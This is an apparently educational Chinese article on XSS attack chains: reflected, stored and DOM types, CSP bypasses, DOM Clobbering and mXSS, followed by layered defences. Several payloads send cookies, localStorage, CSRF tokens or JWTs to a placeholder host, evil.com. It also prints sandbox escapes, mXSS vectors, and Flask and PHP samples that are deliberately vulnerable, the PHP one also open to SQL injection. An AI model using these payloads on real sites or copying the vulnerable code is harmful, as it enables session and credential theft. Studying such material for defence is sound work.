一、引言
跨站脚本攻击(Cross-Site Scripting,XSS)常年位居 OWASP Top 10 前列。尽管业界对 XSS 的讨论已有二十余年,但绕过手法持续进化——从最简单的 <script>alert(1)</script> 到利用 DOM Clobbering 配合 CSP 绕过,攻击面远比想象中复杂。本文将从攻击者视角出发,系统梳理 XSS 全攻击链,覆盖反射型、存储型、DOM 型三大基础类型,深入探讨 CSP 绕过、DOM Clobbering、mXSS(突变 XSS)等高级技术,并最终给出分层防御方案。
二、XSS 三大基础类型
2.1 反射型 XSS(Reflected XSS)
反射型 XSS 是最常见的类型,恶意脚本通过 HTTP 请求参数注入,服务端将其直接回显在响应页面中。
典型场景:搜索框输入后,搜索结果页显示"您搜索的关键词:xxx"。
# 存在漏洞的 Flask 代码
from flask import Flask, request
app = Flask(__name__)
@app.route('/search')
def search():
keyword = request.args.get('q', '')
# 危险:直接将用户输入拼接到 HTML 中
return f"<h1>搜索结果:{keyword}</h1>"
# 攻击 Payload:
# /search?q=<script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>
攻击者通常会构造一个短链接或钓鱼邮件诱导受害者点击:
https://target.com/search?q=%3Cscript%3Enew+Image().src%3D%27https%3A%2F%2Fevil.com%2Fc%3F%27%2Bdocument.cookie%3C%2Fscript%3E
2.2 存储型 XSS(Stored XSS)
存储型 XSS 的恶意脚本被持久化到服务端(数据库、文件系统、缓存),每当其他用户访问包含该数据的页面时,脚本即被执行。危害更大,因为无需用户点击特定链接。
<?php
// 存在漏洞的评论功能
$comment = $_POST['comment'];
// 未做任何过滤直接存入数据库
$db->query("INSERT INTO comments (content) VALUES ('$comment')");
// 显示评论时
$result = $db->query("SELECT content FROM comments");
while ($row = $result->fetch_assoc()) {
// 危险:直接输出
echo "<div class='comment'>" . $row['content'] . "</div>";
}
?>
攻击者 Payload(存入数据库后,每个访问者都会触发):
<script>
// 窃取敏感信息并伪装正常评论
var xhr = new XMLHttpRequest();
xhr.open('POST', 'https://evil.com/collect', true);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.send(JSON.stringify({
cookie: document.cookie,
localStorage: JSON.stringify(localStorage),
url: location.href,
user: document.querySelector('.username')?.innerText
}));
</script>
2.3 DOM 型 XSS(DOM-based XSS)
DOM 型 XSS 完全在客户端发生,恶意数据从未到达服务端,而是通过 JavaScript 操作 DOM 时引入。源代码(服务器返回的 HTML)与页面运行时 DOM 的差异是检测盲区的根源。
// 存在漏洞的前端代码
// URL: https://target.com/profile#<img src=x onerror=alert(1)>
var hash = location.hash.slice(1);
// 危险:使用 innerHTML 直接插入未过滤的 hash
document.getElementById('content').innerHTML = hash;
更隐蔽的 Sink 函数:
| Sink 类型 | 示例函数/属性 |
|---|---|
| HTML 执行 | innerHTML, outerHTML, insertAdjacentHTML, document.write() |
| JS 执行 | eval(), setTimeout(string), setInterval(string), new Function() |
| URL 跳转 | location.href, location.replace(), window.open() |
| 属性注入 | element.src, element.href, element.action |
三、CSP 绕过技术深度剖析
内容安全策略(Content Security Policy)是防御 XSS 的核心机制,但配置不当会留下大量绕过空间。
3.1 JSONP 绕过
如果 CSP 允许 script-src 'self' 且目标站点存在 JSONP 端点:
<!-- CSP: script-src 'self' -->
<!-- 目标站自身存在 JSONP 回调接口 /api/jsonp?callback=任意值 -->
<script src="/api/jsonp?callback=alert(document.domain)//"></script>
<!-- 服务端返回: alert(document.domain)//({"data": ...}) → 执行 alert(document.domain) -->
3.2 script-src ‘unsafe-inline’ 滥用
<!-- 当 CSP 允许 'unsafe-inline' 或 nonce 泄露时 -->
<script nonce="泄露的nonce值">
fetch('https://evil.com/' + document.cookie);
</script>
3.3 base-uri 缺失攻击
如果 CSP 未设置 base-uri 指令,攻击者可以注入 <base> 标签劫持相对路径脚本:
<!-- 页面中使用了相对路径加载脚本 -->
<script src="js/app.js"></script>
<!-- 攻击者注入 -->
<base href="https://evil.com/">
<!-- 现在 js/app.js 将从 https://evil.com/js/app.js 加载 -->
3.4 Angular/React 框架绕过
当 CSP 允许 'unsafe-eval' 时,AngularJS 的沙箱逃逸可以绕过:
// AngularJS 沙箱逃逸示例(Angular < 1.6)
{{constructor.constructor('alert(1)')()}}
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
3.5 CSS 注入 → 数据窃取
即使无法执行 JavaScript,CSS 注入配合 input[value^="s"] 选择器也可逐字符窃取敏感数据:
/* 逐字符窃取 CSRF Token */
input[name="csrf"][value^="a"] { background: url(https://evil.com/collect?char=a); }
input[name="csrf"][value^="b"] { background: url(https://evil.com/collect?char=b); }
input[name="csrf"][value^="c"] { background: url(https://evil.com/collect?char=c); }
/* ... 覆盖所有可能字符 */
四、DOM Clobbering —— 被低估的攻击向量
DOM Clobbering 利用 HTML 元素的 id 或 name 属性覆盖 JavaScript 全局变量,从而操控代码执行流程。
4.1 基本原理
<!-- 页面中存在如下 HTML -->
<form id="config">
<input name="debug" value="false">
</form>
<script>
// 开发者预期 config 是一个未定义或从服务器获取的对象
if (typeof config === 'undefined') {
var config = { debug: false };
}
// 但因为有 id="config" 的表单,config 被 DOM Clobbering 覆盖
// config 现在指向 <form id="config"> 这个 DOM 元素
// config.debug 指向 <input name="debug">
// config.debug.value === "false"
// 如果攻击者控制了 HTML...
if (config.debug.value === 'true') {
// 开发者调试模式,意外启用
enableDebugMode();
}
</script>
4.2 双层级 Clobbering
<!-- 嵌套利用 -->
<form id="app">
<input name="settings" value="x">
</form>
<form id="app">
<input name="settings">
<input name="isAdmin" value="true">
</form>
<script>
// app.settings.isAdmin.value === "true"
if (app.settings.isAdmin && app.settings.isAdmin.value === "true") {
grantAdminAccess(); // ✓ 攻击成功
}
</script>
4.3 利用 DOM Clobbering 绕过 HTML Sanitizer
许多 HTML 清理器(如 DOMPurify 的早期版本)允许 id 和 name 属性。攻击者通过精心构造的 HTML:
// 假设网站使用如下逻辑判断是否允许执行特定操作
if (window.allowScriptExecution !== true) {
console.log("Script execution blocked");
} else {
eval(userInput); // 危险!
}
// 攻击者通过评论或富文本注入:
// <a id="allowScriptExecution" href="https://evil.com">click me</a>
// 现在 window.allowScriptExecution 指向 <a> 元素(truthy)
// if(window.allowScriptExecution !== true) → a 元素 !== true → 条件为 false → 进入 else 分支 → eval 执行!
五、mXSS(突变 XSS)—— 解析器差异的噩梦
mXSS(Mutation XSS)利用浏览器 HTML 解析器与 JavaScript innerHTML 赋值之间的差异。恶意字符串在通过 innerHTML 赋值后,浏览器重新解析(mutate)时产生不同的 DOM 结构。
5.1 经典 mXSS 案例
// 看似无害的 HTML 字符串
const html = '<listing><img src=1 onerror=alert(1)></listing>';
// innerHTML 赋值后,浏览器对 <listing> 的处理方式与最初解析不同
div.innerHTML = html;
// 在某些浏览器中,<listing> 标签会改变解析模式,导致 <img> 被重新解析
// → onerror 执行!
5.2 更复杂的 mXSS 向量
<!-- 利用 <math> 元素和命名空间切换 -->
<math><mtext><table><mglyph><style><!--</style><img src=x onerror=alert(1)>
<!-- 经过解析器处理后 -->
<!-- <math> 命名空间中 <table> 不合法 → 解析器切换回 HTML 命名空间 → <img> 被重新解析 -->
5.3 防御 mXSS
// 使用 DOMPurify 并启用 mXSS 防护
import DOMPurify from 'dompurify';
const clean = DOMPurify.sanitize(dirty, {
// 关键配置
FORBID_TAGS: ['style', 'math', 'svg'], // 禁止可能导致命名空间切换的元素
FORBID_ATTR: ['id', 'name'], // 阻止 DOM Clobbering
WHOLE_DOCUMENT: false,
RETURN_DOM: true, // 返回 DOM 而非字符串,避免二次解析
RETURN_DOM_FRAGMENT: true
});
六、XSS 实战利用链
6.1 组合攻击:XSS → CSRF → 持久化后门
// Step 1: XSS 入口
// 反射型 XSS 在 /profile?bio=<script>...</script>
// Step 2: 利用 XSS 执行 CSRF 修改用户头像为恶意图片
fetch('/api/updateProfile', {
method: 'POST',
credentials: 'include',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
avatar: 'https://evil.com/malicious.svg',
bio: '<img src=x onerror="持久化XSS payload">' // 存储型 XSS 种子
})
});
// Step 3: 安装 Service Worker 实现持久化
navigator.serviceWorker.register('/sw.js')
.then(reg => console.log('Service Worker registered - persistence achieved'));
// sw.js 内容 — 拦截所有请求植入后门
self.addEventListener('fetch', event => {
event.respondWith(
fetch(event.request).then(response => {
// 对 HTML 响应注入恶意脚本
return response;
})
);
});
6.2 窃取 JWT Token
// 攻击 Payload
<script>
// 从 localStorage/sessionStorage 窃取 JWT
const token = localStorage.getItem('auth_token') || sessionStorage.getItem('auth_token');
if (token) {
// 使用导航器发送(绕过 CSP connect-src 限制)
document.location = 'https://evil.com/steal?token=' + encodeURIComponent(token);
}
</script>
七、分层防御方案
7.1 第一层:输出编码
| 上下文 | 编码方式 | 示例 |
|---|---|---|
| HTML Body | HTML Entity | <script> |
| HTML 属性 | HTML Attribute | " ' |
| JavaScript | \xHH 六进制 |
\x3Cscript\x3E |
| URL | URL Encode | %3Cscript%3E |
| CSS | \HH 六进制 |
\3C script\3E |
# Python 服务端按上下文编码
from markupsafe import escape
# HTML Body 编码
safe_html = escape(user_input)
# JavaScript 编码(自定义)
import json
safe_js = json.dumps(user_input) # 自动处理引号、换行等
# URL 编码
from urllib.parse import quote
safe_url = quote(user_input, safe='')
7.2 第二层:CSP 严格配置
Content-Security-Policy:
default-src 'none';
script-src 'nonce-{random}' 'strict-dynamic';
style-src 'self' 'nonce-{random}';
img-src 'self' https:;
connect-src 'self';
base-uri 'self';
form-action 'self';
frame-ancestors 'none';
report-uri /csp-report
7.3 第三层:输入验证与清理
// 前端:使用 DOMPurify 清理富文本
import DOMPurify from 'dompurify';
const ALLOWED_TAGS = ['b', 'i', 'em', 'strong', 'a', 'p', 'br', 'ul', 'ol', 'li'];
const ALLOWED_ATTR = ['href', 'title', 'target'];
function sanitizeHTML(dirty) {
return DOMPurify.sanitize(dirty, {
ALLOWED_TAGS,
ALLOWED_ATTR,
ALLOW_DATA_ATTR: false,
FORBID_TAGS: ['style', 'script', 'iframe', 'object', 'embed'],
FORBID_ATTR: ['onerror', 'onload', 'onclick', 'id', 'name'] // 防 DOM Clobbering
});
}
7.4 第四层:安全开发规范
// ✓ 安全模式
element.textContent = userInput; // 永远安全
element.setAttribute('data-value', userInput); // 安全属性
const script = document.createElement('script');
script.nonce = serverNonce;
script.src = '/static/app.js'; // 不用 innerHTML 动态生成
// ✗ 危险模式(务必避免)
element.innerHTML = userInput; // XSS 敞口
element.insertAdjacentHTML('beforeend', userInput); // XSS 敞口
eval(userInput); // 代码注入
setTimeout(userInput, 1000); // 字符串→eval
document.write(userInput); // DOM XSS
八、总结
XSS 绝非"输出编码就能解决"的简单问题。从反射型到存储型,从 DOM Clobbering 到 mXSS,攻击面随 Web 技术栈的复杂化而持续扩大。防御 XSS 需要:
- 按上下文正确编码——不信任任何用户输入
- 部署严格的 CSP——nonce-based + strict-dynamic,禁用 unsafe-inline
- 使用经过验证的清理库——DOMPurify 并保持更新
- 代码审查——重点排查 innerHTML、eval、document.write 等危险 Sink
- 定期安全测试——自动化扫描 + 人工渗透测试
安全的本质不是"找不到漏洞",而是"不能利用漏洞"——纵深防御才是正解。